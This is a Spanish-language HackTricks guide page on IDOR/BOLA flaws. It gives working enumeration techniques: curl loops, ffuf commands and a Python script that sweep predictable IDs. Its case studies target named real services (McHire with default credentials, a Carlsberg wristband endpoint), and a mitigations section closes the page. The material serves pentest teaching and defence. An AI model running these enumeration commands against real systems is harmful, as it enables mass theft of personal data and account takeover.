IDOR (Insecure Direct Object Reference)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece cuando un endpoint web o API revela o acepta un identificador controlable por el usuario que se usa directamente para acceder a un objeto interno sin verificar que el llamador esté autorizado para acceder/modificar ese objeto. La explotación exitosa normalmente permite escalamiento de privilegios horizontal o vertical, como leer o modificar datos de otros usuarios y, en el peor de los casos, la toma de control total de cuentas o la exfiltración masiva de datos.
1. Identificando posibles IDOR
- Busca parámetros que hagan referencia a un objeto:
- Ruta:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Cuerpo / JSON:
{"user_id": 321, "order_id": 987} - Encabezados / Cookies:
X-Client-ID: 4711
- Prefiere endpoints que leen o actualizan datos (
GET,PUT,PATCH,DELETE). - Observa cuando los identificadores son secuenciales o predecibles – si tu ID es
64185742, entonces64185741probablemente exista. - Explora flujos ocultos o alternativos (p. ej. el enlace “Paradox team members” en páginas de login) que puedan exponer APIs adicionales.
- Usa una sesión autenticada con pocos privilegios y cambia solo el ID manteniendo el mismo token/cookie. La ausencia de un error de autorización suele ser señal de un IDOR.
Manipulación manual rápida (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Enumeración automatizada (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Enumerando IDs de descarga predecibles (ffuf)
Los paneles de file-hosting autenticados a menudo almacenan metadatos por usuario en una única tabla files y exponen un endpoint de descarga como /download.php?id=<int>. Si el handler solo comprueba si el ID existe (y no si pertenece al usuario autenticado), puedes barrer el espacio de enteros con tu valid session cookie y robar los backups/configs de otros tenants:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frelimina plantillas estilo 404 para que solo queden hits reales (p. ej., IDs 54/150 leaking copias de seguridad completas del sitio y material de firma).- El mismo flujo de trabajo de FFUF funciona con Burp Intruder o un bucle de curl—solo asegúrate de mantenerte autenticado mientras incrementas los IDs.
Oráculo de respuesta de error para la enumeración de usuarios/archivos
Cuando un endpoint de descarga acepta tanto un username como un filename (e.g. /view.php?username=<u>&file=<f>), sutiles diferencias en los mensajes de error a menudo crean un oráculo:
- Username inexistente → “User not found”
- Filename malo pero extensión válida → “File does not exist” (a veces también lista archivos disponibles)
- Extensión inválida → validation error
Con cualquier sesión autenticada, puedes fuzz el parámetro username mientras mantienes un filename benigno y filtrar por la cadena “user not found” para descubrir usuarios válidos:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Una vez que se identifican nombres de usuario válidos, solicita archivos específicos directamente (por ejemplo, /view.php?username=amanda&file=privacy.odt). Este patrón comúnmente conduce a la divulgación no autorizada de documentos de otros usuarios y a credential leakage.
2. Estudio de caso real – McHire Chatbot Platform (2025)
Durante una evaluación del portal de reclutamiento McHire impulsado por Paradox.ai, se descubrió el siguiente IDOR:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: cookie de sesión de usuario para cualquier cuenta de prueba de restaurante
- Body parameter:
{"lead_id": N}– identificador numérico de 8 dígitos, secuencial
Al disminuir lead_id, el tester recuperó la full PII de solicitantes arbitrarios (nombre, correo electrónico, teléfono, dirección, preferencias de turno) además de un JWT de consumidor que permitió session hijacking. La enumeración del rango 1 – 64,185,742 expuso aproximadamente 64 millones de registros.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combinada con default admin credentials (123456:123456) que otorgaban acceso a la cuenta de prueba, la vulnerabilidad resultó en una brecha de datos crítica a nivel de toda la empresa.
Estudio de caso – Wristband QR codes as weak bearer tokens (2025–2026)
Flujo: Los visitantes de la exhibición recibieron brazaletes con QR; al escanear https://homeofcarlsberg.com/memories/ el navegador tomaba el printed wristband ID, lo codificaba en hex y llamaba a un backend cloudfunctions.net para recuperar los medios almacenados (fotos/videos + nombres). No había session binding ni autenticación de usuario — conocer el ID = autorización.
Predictibilidad: Los IDs de brazalete seguían un patrón corto como C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). El espacio se estimó en ~26M de combinaciones, trivial de agotar en línea.
Flujo de explotación con Burp Intruder:
- Payload generation: Generar IDs candidatos (p. ej.,
[A-Z]-###-###). Usar Burp Intruder Pitchfork o Cluster Bomb attack con posiciones para la letra y los dígitos. Agregar una payload processing rule → Add prefix/suffix → payload encoding: ASCII hex para que cada solicitud transmita la cadena hex que espera el backend. - Response grep: Marcar en Intruder grep-match los marcadores presentes solo en respuestas válidas (p. ej., media URLs/JSON fields). Los IDs inválidos típicamente devolvían un array vacío/404.
- Throughput measurement: ~1,000,000 IDs fueron probados en ~2 horas desde un laptop (~139 req/s). A esa tasa el keyspace completo (~26M) caería en ~52 horas. La ejecución de muestra ya expuso ~500 brazaletes válidos (videos + nombres completos).
- Rate-limiting verification: Tras la afirmación del vendor de throttling, volver a ejecutar la misma configuración de Intruder. La throughput/hit-rate idéntica demostró que el control estaba ausente/ineficaz; la enumeración continuó sin obstáculos.
Variante scriptable rápida (codificación hex en cliente):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Lección: Codificación (ASCII→hex/Base64) no añade entropía; los IDs cortos se convierten en bearer tokens que pueden ser enumerados a pesar de la codificación cosmética. Sin autorización por usuario + secretos de alta entropía, media/PII puede ser recolectada masivamente incluso si se alega “rate limiting”.
3. Impact of IDOR / BOLA
- Escalada horizontal – leer/actualizar/eliminar los datos de otros usuarios.
- Escalada vertical – un usuario con pocos privilegios obtiene funcionalidades reservadas a administradores.
- Filtración masiva de datos si los identificadores son secuenciales (p. ej., IDs de solicitantes, facturas).
- Toma de cuentas robando tokens o restableciendo contraseñas de otros usuarios.
4. Mitigations & Best Practices
- Aplicar autorización a nivel de objeto en cada solicitud (
user_id == session.user). - Prefiere identificadores indirectos y difíciles de adivinar (UUIDv4, ULID) en lugar de IDs auto-incrementales.
- Realiza la autorización del lado del servidor, nunca confíes en campos de formulario ocultos o controles de UI.
- Implementa comprobaciones RBAC / ABAC en un middleware central.
- Añadir rate-limiting & logging para detectar la enumeración de IDs.
- Prueba de seguridad cada nuevo endpoint (unit, integration, and DAST).
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
- Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


